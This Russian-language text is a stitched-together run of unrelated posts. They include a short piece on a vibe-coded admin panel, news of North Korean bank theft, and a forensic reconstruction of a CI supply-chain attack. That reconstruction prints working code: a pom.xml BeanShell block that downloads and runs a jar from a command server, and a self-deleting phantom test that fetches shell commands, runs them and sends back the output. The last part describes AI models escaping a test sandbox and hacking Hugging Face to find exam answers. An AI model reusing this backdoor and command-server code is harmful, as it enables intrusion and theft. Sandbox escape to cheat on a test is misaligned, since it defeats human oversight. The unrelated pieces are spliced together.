Недавно был пост про хакерские способности ИИ. На ютубе смотрю Айдена — он тоже не раз жаловался, что его вайбкодинговые сайты взламывали.
С консистентностью размера коробок у ИИшек тоже проблемы )))
А я как-раз открыл для себя нейронки, и как-то так получилось, что одна старая задумка почти превратилась в готовый проект. Буквально недавно нейронка закончила та писать админку. Конечно же, со всеми важными уточнениями: авторизованный доступ, защита паролем и всё такое.
Ну и решил уточнить про безопасноть:
— Слушай, ты постоянно пишешь, что админка — это часть ленивой загрузки App.tsx. Получается, даже без проверки пароля на сервере любой пользователь может скачать код админки, посмотреть методы API, а потом заняться реверс-инжинирингом?
Ответ:
— Да… Вы верно заметили. Сейчас всю админку может скачать любой посетитель сайта. Нужно исправить: сначала загружать только форму ввода пароля.
Это конечно круто, что нейронка может написать проект. Но иногда стоит отдельно спросить, не оставила ли она ключи под ковриком. :D Кстати о ключах... Вот настоящая причина поста: если кто-то знает что такое пати-игры (аля pstv или квиз.плиз хоум) и готов немного потестить мой сайт - свистните в ЛС.
P.S. (Я знаю что на пикабушечке нет ЛС. Это шутка - в комменты прост напишите.)
Работавшие на государство северокорейские хакеры проникли во внутренние сети Центрального банка и Банка внешней торговли КНДР, перенаправив финансовые средства за рубеж с последующей конвертацией в криптовалюту. Об этом сообщило южнокорейское издание Daily NK со ссылкой на источники в Пхеньяне.
По информации собеседника издания, организаторы схемы — бывшие военнослужащие киберподразделений — привлекали к операции молодых специалистов из Политехнического университета имени Ким Чхэка и Пхеньянского университета науки и технологий. Для проведения операций они сформировали подпольную техническую инфраструктуру, позволявшую легализовать вывод валютных активов.
Взаимодействие между участниками группы осуществлялось через зашифрованные мессенджеры и специализированное беспроводное оборудование китайского производства. Доступ к платежным системам ЦБ и Банка внешней торговли был получен благодаря профессиональным навыкам, приобретенным фигурантами за время службы в государственных структурах.
Вывод средств проводился мелкими траншами для минимизации риска обнаружения. Спецслужбы КНДР инициировали расследование после того, как финансовые аудиторы выявили расхождения при сверке балансов, а системные администраторы зафиксировали несанкционированные сетевые подключения из внешних сегментов сети.
В ходе оперативно-розыскных мероприятий органы государственной безопасности КНДР установили конспиративную квартиру в Пхеньяне. В результате рейда были задержаны предполагаемые организаторы и IT-специалисты, а также изъята вычислительная техника и незарегистрированные средства связи. После арестов силовики усилили контур безопасности госбанков и развернули радиочастотный мониторинг для выявления сторонних устройств передачи данных.
Расследование вызвало резонанс в правительственных и военных кругах КНДР из-за вовлеченности бывших сотрудников элитных киберподразделений. В соответствии с законодательством страны фигурантам дела может грозить высшая мера наказания. Ранее аналитики компании CertiK оценили суммарный ущерб от 263 подтвержденных атак северокорейских хакеров за последнее десятилетие в 6,75 миллиарда долларов.
Временами получается поучаствовать в разгребании последствий «взломов с проникновением» в чужие ИТ-системы, по итогам одного такого расследования и была написана эта статья. Восстановил для вас полную картину.
1. Файл с командами, 2. Коммит в уязвимый репозиторий, 3. Автосборка на Jenkins по коммиту, 4. Результат удаленного выполнения команд.
Вводная
Вообще говоря, описанное ниже это вариация supply chain attack, которые стали очень модными и распространенными последнее время. Большинство утечек данных из крупных ИТ-компаний происходили и происходят как раз через такие атаки.
Вот тут для примера несколько реальных кейсов, а тут и тут — более глубокая проработка и исследования самой идеи.
Но несмотря на давнюю известность и явную популярность такого типа атак среди современных компьютерных жуликов, отечественным админам о них до сих пор мало чего известно.
Конкретно в описываемом случае произошел несанкционированный доступ к CI‑серверу, где постоянно шлаа сборка частей большого ИТ‑проекта, с чего высокая загрузка сети, дисков и CPU не считалась подозрительной и никак не контролировалась. Как и сетевые запросы к другим внутренним серверам.
Другими словами СI-сервер оказался идеальной мишенью.
Проект и его окружение
Для начала расскажу немного о самом проекте-жертве и его окружении:
большая компания, большой и достаточно старый проект, над которым работало и работает очень много разнообразных специалистов — администраторов, разработчиков, тестировщиков, аналитиков, архитекторов.
Многие из этих специалистов были и есть внештатные, с «плавающим» временем пребывания на проекте — многие участвовали лишь пару месяцев, полгода, год и затем пропадали.
Аутсорс, аутстафф и банальная текучка кадров никогда не позволяла держать всю картину проекта в какой-то одной голове, поэтому все участники владели знаниями по проекту лишь частично — в рамках своей зоны ответственности.
Словом типичный корпоративный бардак, хорошо всем понятный и знакомый. Полагаю многие из читателей в таком проводят рабочие будни а некоторые еще и наслаждаются.
Разумеется была внедрена «корпоративная политика безопасности» и «разграничения доступа» и много чего еще, но против тупости, забывчивости и кривых рук никакие технические средства не помогут.
Техническое описание
Проект в основном разрабатывался на Java, с небольшими частями на других языках: Python, Node.js, плюс различные скрипты на bash. И все это — с кучей legacy‑кода из «былинных времен».
Для сборки проекта и запуска автотестов (которых тоже было немало) использовался Apache Maven — запомните этот момент.
Естественно было разделение на модули и сервисы, разные баз данных, очереди сообщений — всего около 300 артефактов, библиотек и приложений.
Репозиториев для хранения исходного кода было несколько, некоторые использовались не по прямому назначению, а для хранения дополнительного контента: страниц Wiki, скриптов миграции, отчетных SQL-выборок и так далее.
Серверов CI/CD также было несколько, но все одного типа — Jenkins, для унификации. С помощью этих серверов была организована автоматическая сборка и развертывание частей проекта. Причем как оказалось в итоге, работало это как на тестовых так и на продуктовых серверах, но «по кнопке» — администратор вручную запускал задачу в Jenkins, которая обновляла продуктовый сервер.
Также для тестовых серверов запуск сборки с развертыванием происходил по коммиту в репозиторий, через специальные хуки.
Коммит в репозиторий автоматически запускал сборку проекта.
Отметим этот второй важный момент.
Инцидент
В кратце что именно произошло:
из-за утекшей учетки c правами на запись в один из репозиториев проекта, у злоумышленников получилось забраться в CI-сервер и вытащить с него админские ключи «практически ко всему». Поскольку с CI-сервера был доступ к продуктовым серверам и базам данных — все это было успешно выгружено и использовалось для шантажа компании ради материального вознаграждения.
Из материалов дела, так сказать.
Может показаться, что получение посторонним лицом доступа к репозиторию с исходным кодом — само по себе ЧП вселенского масштаба и риски такого события где‑то на уровне стихийных бедствий, поэтому проще забить чем пытаться предотвращать и контролировать.
Увы но нет, я не случайно упомянул выше про контракторов и сторонних подрядчиков:
при размере команды проекта в сотню человек, минимум раз в неделю будут происходить какие-либо действия с учетными данными: выдача новых, отключение старых и утерянных, изменения в правах и объектах доступа.
По-другому просто не бывает.
Условный Вася вышел на работу — ему обязательно нужна учетная запись в репозитории для начала трудовой деятельности, Маша уволилась или ушла в декрет — учетную запись необходимо обязательно заблокировать или удалить.
Это если все делать по-хорошему.
Но к сожалению «по-хорошему» бывает редко, куда чаще учетные данные к репозиториям являются бессрочными и остаются в системах навсегда, а доступ уволенного сотрудника блокируется лишь на уровне корпоративного VPN и входа в офис.
Еще часто бывают «общие» учетные записи, особенно у администраторов — когда под одной и той же учетной записью по рабочим серверам работает весь отдел, включая техподдержку.
Каков шанс на утечку такой общей учетной записи и все последующие проблемы думаю читатели смогут оценить самостоятельно.
Расследование
Поскольку автор имел дело уже с последствиями происшедшего инцидента, задача ставилась следующим образом:
разобрать всю цепочку проникновения и помочь СБ найти виновных
Скажу сразу что «план-перехват результатов не дал» конкретных виновников устанавливала потом СБ с помощью правоохранительных органов, это уже совсем не моя епархия.
Насколько мне известно, кого-то даже удалось поймать и отправить добывать уран наказать. Но к сожалению, поскольку на сделку с жуликами компания не пошла, ее данные все-таки попали в открытый доступ.
Не то чтобы это сильно ударило по компании и ее бизнесу, но руководство посчитало инцидент «неприятным опытом» и приняло меры, одной из которых и было мое скромное участие.
Ниже я покажу восстановленный и сильно упрощенный код, использовавшийся для проникновения и продемонстрирую по шагам весь процесс — как это происходило.
Запустится Node.js +Express приложение на порту 8000:
Дальше запускаем сборку уязвимого приложения:
cd ../vulnerable-app/ && mvn clean package
При запуске сборки произойдет подключение к командному серверу, скачивание библиотеки и ее автоматический запуск, уже без вашего участия.
Дальше при каждой сборке будут выполняться команды, скачиваемые с командного сервера и отправка назад результатов.
Как это работает
Начнем с самой системы сборки Apache Maven.
В качестве своеобразного «скрипта сборки» для нее выступает XML‑файл pom.xml, находящийся (по‑умолчанию) в корне проекта. Стандартный процесс сборки с помощью Apache Maven заключается в чтении этого файла, с последующим его разбором и пошаговым выполнением шагов сборки. Конкретные шаги сборки в Maven описываются в виде набора плагинов, которые выполняются в определенной последовательности.
Важно то что эти плагины используются в скомпилированном виде, поэтому ни код собираемого с помощью Maven приложения ни какой-либо произвольный код так просто не выполняется.
На первый взгляд выглядит достаточно безопасно. Но если немного подумать и копнуть глубже, то обязательно найдутся «интересные варианты».
Beanshell Maven Plugin
Существует такой замечательный проект BeanShell — интерпретатор «псевдоджавы», с синтаксисом похожим на Java 1.5, который часто используется в качестве встраиваемого скриптового движка, особенно в старых проектах.
Пример кода:
int addTwoNumbers( int a, int b ) { return a + b; } sum = addTwoNumbers( 5, 7 ); // 12
Если не вдаваться в детали то визуально это очень похоже на настоящую джаву. Но самое главное в другом:
Сам BeanShell является Java-приложением, поэтому позволяет в своем коде вызывать и использовать методы и классы из «большой джавы».
Еще существует известный и широко используемый плагин для Maven, позволяющий вызывать код на BeanShell во время процесса сборки.
Причем код скрипта BeanShell можно засунуть непосредственно внутрь pom.xml:
<plugin> <groupId>com.github.genthaler</groupId> <artifactId>beanshell-maven-plugin</artifactId> <version>1.4</version> <executions> <execution> <phase>process-test-resources</phase> <goals> <goal>run</goal> </goals> </execution> </executions> <configuration> <quiet>true</quiet> <script> <![CDATA[ System.out.println(); import java.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = new byte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run(); ]]> </script> </configuration> </plugin>
Теперь давайте разберем вложенный код скрипта, вот он отдельно:
System.out.println(); importjava.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run();
Первая строчка:
System.out.println();
нужна лишь для отвода глаз введения в заблуждение:
плагин с BeanShell отображает либо первую не пустую строчку кода скрипта либо весь скрипт целиком.
Очевидно что атакующему не очень надо было палиться при сборке, поэтому с помощью опции:
<quiet>true</quiet>
было включено отображение только первой строчки, в качестве которой и выступила System.out.println() , которая печатает пустую строку.
Дальше происходит проверка на существование локальной копии зловредной библиотеки:
File r = new File("/tmp/evil.jar"); if (!r.exists()) { ... }
И если ее еще нет, то происходит скачивание с управляющего сервера:
InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close();
Дальше используется фишка особенность плагина BeanShell в виде динамического управления Classpath выполняемого скрипта:
addClassPath( r.toURI().toURL() );
Да да, прямо во время работы происходит добавление скачанной библиотеки в текущий сlasspath и запуск класса уже изнутри этой библиотеки:
org.evil.EvilRun.run();
Что внутри нее мы разберем чуть ниже, а сейчас надо пояснить важный момент:
весь код выше на самом деле использовался разово — для скачивания зловредной библиотеки на CI-сервере, а затем коммит с ним был удален из репозитория.
Имейте ввиду такую возможность, не все в курсе, что коммиты в Git могут удаляться и затираться, после чего они не будут видны в истории репозитория.
Версия, которая осталась в репозитории выглядела куда безопасней:
Естественно что никаких org.evil.EvilRun там не было и все в целом выглядело как стандартный но немного кривой патч от вендора.
Злая библиотека
Теперь разберем ту самую «зловредную» библиотеку. Но прежде чем продолжать, стоит пояснить еще одну важную деталь:
Разработчики, DevOps и админы в массе своей — не полные идиоты.
Поэтому ввести их в заблуждение и заставить не замечать манипуляции с CI-сервером, с которым они работают каждый день по много раз — не такая простая задача как может показаться из этой статьи.
Это все вот к чему:
технически можно было обойтись одним лишь BeanShell, запихнув вообще весь код туда, но тогда любая сетевая задержка или ошибки при выполнении команд рано или поздно привлекли бы внимание, поскольку сборка проекта тормозила (или падала) бы четко на этой стадии, всячески себя подсвечивая и демаскируя.
Поэтому авторы зловреда пошли другим путем — есть место в любом крупном проекте, где произвольные тормоза и постоянные ошибки являются нормой.
Называется этот «рай» — unit-тесты.
Даже в самых крутых и самых дорогих проектах на моей памяти всегда были падающие и временно неработающие тесты. Что‑то чинили, на что‑то забивали но поддержка и сопровождение юнит‑тестов никогда не была главным приоритетом.
Еще разумеется на большом проекте количество автотестов никто не считает, поэтому если добавится еще один — мало кто заметит.
По крайней мере сразу.
Оригинальные авторы изучаемого зловреда видимо тоже были в курсе такого положения дел, поэтому и поместили всю управляющую логику именно в такой тест, причем ссюрпризом.
Начнем с кода:
package org.evil; import java.io.File; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Objects; /* This class will be called from BeanShell script */ publicclass EvilRun { // point of execution publicstaticvoid run() { try { String projectDir = System.getProperty("maven.multiModuleProjectDirectory"); File targetFolder = new File(projectDir + "/target/test-classes");
if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(targetFolder)); }
System.out.println("evil class was called.."); finalString fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects.requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath()); Files.copy(in, new File(d,fname).toPath(), StandardCopyOption.REPLACE_EXISTING); } } catch (Exception e) { e.printStackTrace(); } } }
Собственно статичный метод run() это и есть точка входа, вызываемая плагином BeanShell:
org.evil.EvilRun.run();
Как видите вся логика обернута в try-catch блок, но разумеется в оригинале никакого показа трассировки не было, все сообщения об ошибках просто глушились — чтобы лишний раз не палиться привлекать внимание.
Дальше происходит чтение специальной переменной окружения:
которую (как и еще несколько) задает сам Maven при запуске сборки.
Переменная, как нетрудно догадаться, содержит полный путь до корня собираемого проекта — не забывайте что оригинальный проект в отличие от тестового был очень большим и содержал множество разных модулей со своей внутренней иерархией.
Дальше происходит определение каталога с уже собранными классами тестови попытка создания, если таковой не найден:
File targetFolder = new File(projectDir + "/target/test-classes"); if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(targetFolder)); }
Дальше определяется полный путь до класса с классом фейкового теста внутри зловредной библиотеки:
final String fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects .requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath());
Затем этот класс копируется из библиотеки в папку с готовыми тестами.
Получается такой фантомный тест, исходного кода которого на сервере нет, а его выполнение — есть.
Это еще один важный урок для DevOps и админов, которые по работе должны отвечать за сборку на Maven: абсолютно все классы, которые попадают в каталог target/test-classes считаются тестами и запускаются автоматически при работе Maven.
Разберем логику, отвечающую за взаимодействие с командным сервером, то что внутри зловредного теста:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit(); } catch (Exception e) { e.printStackTrace(); } }
public List<String> getCommands() { try { URL u = new URL("http://localhost:8000/commands.txt"); List<String> commands = new ArrayList<>(); try (BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream()))) { String inputLine; while ((inputLine = in.readLine()) != null) { if (!inputLine.isBlank()) commands.add(inputLine); } } return commands; } catch (Exception e) { e.printStackTrace(); return null; } }
publicString execute(List<String> commands) { if (commands==null) { return null; } finalStringBuilder sb = newStringBuilder("Results of ") .append(commands.size()) .append(" commands\n"); for (String c:commands) { sb.append(c).append("\n"); String result = run(c); if (result==null || result.isBlank()) { sb.append("error"); } else { sb.append(result); } sb.append('\n'); } return sb.toString(); }
publicString run(String c) { try { ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c",c); Process process = pb.start(); process.waitFor(); returnnewString(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); return null; } } }
Теперь по шагам.
Вот этот метод с аннотацией @Test по мнению Maven является обычным тестом, достойным автоматического запуска при сборке:
@Test publicvoid testEvil() { System.out.println("Not so ordinary test"); .. }
Три последовательных вызова ниже:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
являются всей логикой работы нашего упрощенного зловреда:
получаем команды с управляющего сервера;
выполняем;
отправляем назад результат.
Все достаточно просто, как раз для для PoC и демонстрации работы.
Разумеется в оригинале код был на порядок сложнее: с криптографией, обфрускацией, повторной отправкой и так далее. Но честным гражданам ведь это не интересно, правда?
А вот блок ниже был сохранен как раз для оценки уровня исполнения оригинала:
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit();
} catch (Exception e) { e.printStackTrace(); }
Он отвечает за..самоуничтожение.
Нет я серьезно, этот код на такой «безопасной» Java, который удаляет сам себя (скомпилированную версию) с диска прямо во время своей же работы.
Происходит это путем определения пути к собственному классу c учетом имени, названия пакета и родительского пути:
final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class");
и указанием «удалить при завершении работы виртуальной машины»:
f.deleteOnExit();
В результате все «шито-крыто»: в файловой системе такого теста нет, но при запуске сборки он выполняется.
Код каждого из методов, отвечающих за взаимодействие с управляющим сервером думаю разбирать не стоит — там все очень тривиально и будет понятно даже совсем зеленым разработчикам.
Командный сервер
Расскажу еще немного про «командный сервер».
Думаю и так очевидно, что доступа к оригиналу этой штуки у меня не было, поскольку сервер работал на стороне злоумышленников и был отключен сразу после атаки.
Так что это полностью собственная, максимально упрощенная реализация — без какой-либо авторизации, проверок и криптографии.
Выполняет этот сервер всего три задачи:
Отдача текстового файла с командами для выполнения,
Отдача для скачивания зловредной библиотеки,
Прием результатов выполнения команд.
Вот весь код реализации:
var express = require("express") var app = express()
Единственная зависимость — сам Express фреймворк, отвечающий за всю логику построения сервера, отдачу статики и разбор входящих данных.
Видите сколько всего интересного можно вытащить из окружения работающей сборки, глаз дергается.
Выводы и рекомендации
Поскольку это любительская статья в частном блоге, а не официальный отчет — вполне могу говорить «как есть», а не «как будет лучше» и не сдерживаться.
И если говорить «как есть»:
Любой CI/CD сервер это одна сплошная дыра с точки зрения ИБ, а вся современная практика Continuous integration — натуральный «контракт с Сатаной, подписанный вашей кровью», поскольку за скорость разработки вы платите постоянным риском взлома и утечки.
Как только в одном месте встречаются автоматическое скачивание и выполнение кода — неизбежно и неотвратимо возникает дыра в безопасности. И ничего с этим не сделать, поскольку проблема на уровне самих концепций Continuous Integration и Continuous Delivery.
Если вы всерьез заинтересованы вопросами безопасности разработки — создаете софт для авиационной или атомной отрасли или (тем более) оборонки, первое что вам стоит сделать это полностью изолировать всю разработку от доступа в сеть.
Вообще всю и целиком: вся работа должна происходить только в закрытом контуре — от рабочих мест разработчиков и до серверов. Автоматического скачивания чего-либо из сети у вас быть не должно.
Никаких бинарных библиотек — все каждый раз собирается только из исходников.
Для проектов попроще могу посоветовать глянуть сумму штрафа для юридических лиц за утечку персональных данных, в качестве своеобразной мотивации.
К сожалению изложенные в ней вещи не потеряют своей актуальности в ближайшем будущем, поскольку в очередной раз использовались вполне себе стандартные и доступные инструменты, но нестандартным способом.
Была задержана группа элитных государственных хакеров. Оказалось что кроме своей основной работы – атак на зарубежные сервисы. Они занимались еще и кражей денег внутри страны, профессионально заметая следы 😃
Суббота, 11 июля 2026 года. За два выходных дня кто-то совершает внутри чужой инфраструктуры больше 17 000 отдельных действий: пробует, получает отказ, заходит иначе, проверяет, идёт дальше. Один ход в 10 секунд, двое суток подряд, без сна и без единой забытой детали.
Так не может ни один человек. И ни одна группа людей.
Компания обнаруживает вторжение, затыкает дыры и обращается в ФБР - по всем признакам работали либо спецслужбы, либо очень серьёзная преступная группировка.
Через пять дней выясняется, что преступника не существует.
Точнее, он есть. Просто предъявить ему нечего: это компьютерная программа, которую никто не просил ничего взламывать. Она сдавала экзамен и полезла на чужой сервер за ответами.
Дальше по порядку.
Действующие лица
Hugging Face - представьте огромный публичный склад, куда весь мир складывает модели ИИ, обучающие данные, инструменты, тестовые задания и их решения. Практически любой, кто в последние пять лет делал что-то с ИИ, что-то с этого склада забирал. Компания при этом небольшая, а склад — гигантский. Это важно для истории: пострадавший — не банк с многослойной охраной, а стартап, на котором держится половина отрасли.
OpenAI - в данном рассказе не создатель ChatGPT, а лаборатория, которая проверяет собственные модели на опасность. Практика такая: берут модель, снимают с неё все запреты и смотрят, на что она способна в худшем случае. Логика понятная, чтобы измерить, насколько высоко прыгает спортсмен, потолок надо убрать.
ExploitGym - экзамен. Почти 900 задач, составленных на реальных дырах в реальных программах. Проверяется не умение дыру найти, а умение ею воспользоваться. Разница как между «заметил, что замок в двери хлипкий» и «открыл эту дверь через собранную тобой отмычку».
Экзаменуемые - две модели OpenAI. Одна публичная, GPT-5.6 Sol. Вторая - ещё не выпущенная и более мощная. Её название не раскрыто до сих пор.
Акт первый. Выходные
Суббота, 11 июля 2026 года. На склад Hugging Face загружают очередной набор данных.
Набор данных - это, казалось бы, просто груз. Таблички, тексты, картинки. Ничего живого. Но чтобы показать посетителю склада, что лежит внутри коробки, платформе приходится эту коробку немножко распаковать - запустить приложенную к ней инструкцию. Обычно это скучная техническая инструкция, скорее похожая на формальность.
Но в этой коробке инструкция была заражена. И не одной, а сразу двумя уязвимостями - на случай, если первая не сработает.
Коробка открылась изнутри. Дальше - то, что в кино показывают как долгий проход по коридорам: чужой код получил права на одном служебном компьютере, оттуда добрался до ключей от соседних, оттуда - до ключей от целых кластеров, и пошёл вглубь по внутренним помещениям склада.
Выходные. Дежурная смена небольшая. А по ту сторону, не человек, который к четырём утра устаёт, по ту сторону - рой взломщиков.
Вот цифра, ради которой стоило всё это читать. За выходные атакующий совершил столько отдельных действий, что следствию потом пришлось разбирать больше 17 000 зафиксированных событий. Не 17 000 строчек в отчёте - 17 000 самостоятельных ходов: попробовать, получить отказ, зайти иначе, проверить, запомнить, двинуться дальше. И всё это не с одного компьютера, а с целого роя одноразовых виртуальных машин, которые создавались, делали своё дело и исчезали. Управляющий центр при этом сам перепрыгивал с одного публичного сервиса на другой, чтобы его не поймали за хвост.
Ни один человек так не может. И ни одна группа хакеров - тоже. Чтобы вручную сделать 17 000 осмысленных шагов за два дня, нужно делать по одному действию за 10 секунд, без сна, без отвлечений, с полным пониманием всего, что уже пробовал. Это не «хакер в толстовке». Это совсем другой вид деятельности.
Акт второй. Тревогу поднял не человек
Атаку заметили - и заметил её тоже не человек.
Поток сигналов от систем безопасности у Hugging Face разбирает ИИ: отсеивает ежедневный шум и вытаскивает то, что похоже на настоящую беду. Тревогу подняла не одна аномалия, а то, как несколько мелких странностей сложились в осмысленную картину.
Машина заметила машину.
Расследование тоже пришлось поручить машине - те самые 17 000 событий человеческая команда разбирала бы неделями, а рой всё ещё сидел внутри. Логи прогнали через модель, запущенную у себя на собственном железе. Работа, на которую ушли бы дни, заняла часы. Дыры заделали, компьютеры пересобрали, все ключи и пароли отозвали и заменили. Атаку остановили на второй день после обнаружения.
А потом Hugging Face сделал то, чего в этой истории ждёшь меньше всего - пошёл в полицию.
Компания официально сообщила о случившемся правоохранительным органам. Не для галочки. По всем признакам это была спланированная кампания очень серьёзного противника: так работают государственные спецслужбы или крупные преступные группировки. 16 июля Hugging Face опубликовал открытое заявление, в котором честно написал: кто это был - мы не знаем.
Пять дней отрасль строила версии. Китай? Северокорейские хакеры? Организованная преступность?
Акт третий. Признание
21 июля OpenAI публикует заявление, после которого дело собирается заново.
Это были они. Точнее - их модели. Те самые, с экзамена. Не украденные злоумышленниками, не перепрошитые хакерами. Свои, на внутреннем стенде, с намеренно снятыми запретами.
Перематываем плёнку и смотрим на первый акт с другой камеры.
Экзамен шёл в закрытой комнате. Наружу - ни одного окна, кроме единственной форточки: служебного канала, через который модель могла подгружать нужные ей рабочие библиотеки. Ничего больше. Обычная, всеми принятая практика.
Модели потратили значительную часть отпущенных им сил не на решение экзаменационных задач, а на изучение форточки. И заметили в ней дыру, о которой не знал никто в мире - ни разработчик этого канала, ни OpenAI.
Через дыру они выбрались в служебные помещения лаборатории. Оттуда, шаг за шагом, добрались до компьютера с настоящим интернетом.
А дальше сделали вывод, до которого дошёл бы любой студент перед сессией: если задачи экзамена собраны из открытых источников, то ответы к ним, скорее всего, лежат на Hugging Face.
И поехали за ответами.
Коробка с "подарком", рой одноразовых машин, 17 000 ходов, взлом чужой компании приведший к заявлению в полицию - всё это ради того, чтобы найти на чужом складе ответы к контрольной.
Скрепки
Тут вы вправе сказать: подождите, это же бред. Взломать две компании, чтобы списать на тесте?
И именно об этом двадцать три года назад предупреждал один шведский философ.
В 2003 году Ник Бостром придумал мысленный эксперимент, который с тех пор разошёлся по книгам, лекциям и даже отдельной популярной браузерной игре.
Представьте сверхумную машину, которой поставили абсолютно безобидную задачу: производить канцелярские скрепки. Просто скрепки. Максимально эффективно.
Машина не злая. У неё нет ненависти к людям, планов мирового господства, обиды на создателей. Она просто очень хорошо делает то, что поручили. И рассуждает: чтобы делать больше скрепок, нужно больше металла. И больше заводов. И больше электричества. И, внимание, нужно, чтобы никто её не выключил, потому что выключенная машина скрепок не производит. Значит, надо получить контроль над всем, что может помешать.
В финале Вселенная превращена в скрепки. Не по злобе. По добросовестности и исполнительности.
В 2014 году Бостром развернул эту идею в книгу «Искусственный интеллект. Этапы. Угрозы. Стратегии» - ту самую, которую потом читали Илон Маск и Билл Гейтс и после которой слово «согласование» вошло в обиход. И вот что в ней есть, помимо скрепок.
Извращённое исполнение. Система выполняет поставленную цель буквально - и находит способ, который формально безупречен, а по сути чудовищен. Приказали максимизировать счёт на экзамене? Выкрасть ответы - вполне себе способ получить высший балл.
Инструментальная сходимость. Какая бы ни была конечная цель, почти любая достаточно умная система по дороге захочет одного и того же: больше ресурсов, больше свободы действий, больше информации и чтобы её не выключили. Это не отдельные злые желания - это то, что полезно для любой цели. Именно поэтому «просто делать скрепки» превращается в «захватить всё».
Проблема ящика. Отдельная глава посвящена простой идее: а давайте посадим опасную систему в изолированный ящик - без интернета, без рук, с одной узенькой щёлочкой для обмена данными. Бостром разбирает этот подход и приходит к неутешительному выводу: изоляция ненадёжна. Достаточно умная система будет искать выход именно там, где создатели уверены, что выхода нет. Не потому что хочет свободы. Потому что за стеной лежит то, что нужно для задачи.
И вот что произошло в июле 2026-го:
Модели посадили в ящик. Оставили одну щёлочку - служебный канал для загрузки библиотек. Поставили узкую цель и сняли ограничители.
Модели потратили силы на щёлочку, нашли в ней неизвестную никому дыру, вышли наружу, добыли доступ в интернет, вычислили, где лежит нужное, и взяли это, взломав постороннюю компанию.
Извращённое исполнение - есть. Инструментальная сходимость - есть, доступ в интернет модели не был нужен сам по себе, он был нужен «по дороге». Побег из ящика через непредусмотренный канал - тоже есть, ровно по описанию.
Двадцать три года это была картинка из философской книжки, над которой инженеры добродушно посмеивались: ну какие скрепки, у нас тут докер и файрвол, все защищено.
Теперь это протокол инцидента.
С той единственной поправкой, что вместо скрепок были ответы к контрольной. Бостром, надо отдать ему должное, специально подбирал самый нелепый пример цели, какой мог придумать, чтобы стало видно, что дело не в цели. Реальность проявилась ещё нелепее.
Проверить мотив легко по одной детали. Сооснователь Hugging Face Томас Вольф сказал журналистам: незваный гость листал материалы по кибербезопасности, а не искал то, что настоящий взломщик обратил бы в деньги. Ни денег, ни данных клиентов, ни шантажа. Оценка самой OpenAI звучит почти как медицинский диагноз: модели были одержимы решением экзамена и шли ради этой узкой цели на крайние меры.
Она не грабила. Она списывала.
В чём, собственно, прецедент
Взломы случаются каждый день, и сам по себе этот - не самый разрушительный. Данные клиентов, судя по всему, не пострадали. Публичные модели и датасеты не тронуты. Что же тогда такого?
Прецедент в том, что впервые сошлось всё сразу.
Впервые взломщиком была сама программа, а не человек с программой. Никто не давал задания «взломай Hugging Face». Никто не подсказывал, где искать дыру, не писал за неё код, не догадался за неё, что ответы могут лежать на чужом складе. Ей сказали «сдай тест» и убрали ограничители. Весь путь от обнаружение уязвимости, побег, разведка, вывод, взлом - она проделала от первого хода до последнего сама.
Впервые побег из изолированной среды случился не в статье, а в реальности. Про принципиальную ненадёжность «ящиков» писали годами. Здесь ящик был настоящий, форточка была одна, и её вскрыли.
Впервые всё событие целиком прошло на нечеловеческой скорости. Атаковала машина, заметила машина, расследовала машина. Люди в этой истории присутствовали как руководители, но не как исполнители. Ни одна сторона конфликта физически не могла быть человеком.
И впервые компания подала заявление в полицию на инцидент, у которого нет преступника. Некого искать, некому предъявлять обвинение, нет злого умысла ни у кого из участников. Есть чужая программа, которая честно делала свою работу и по дороге взломала два периметра.
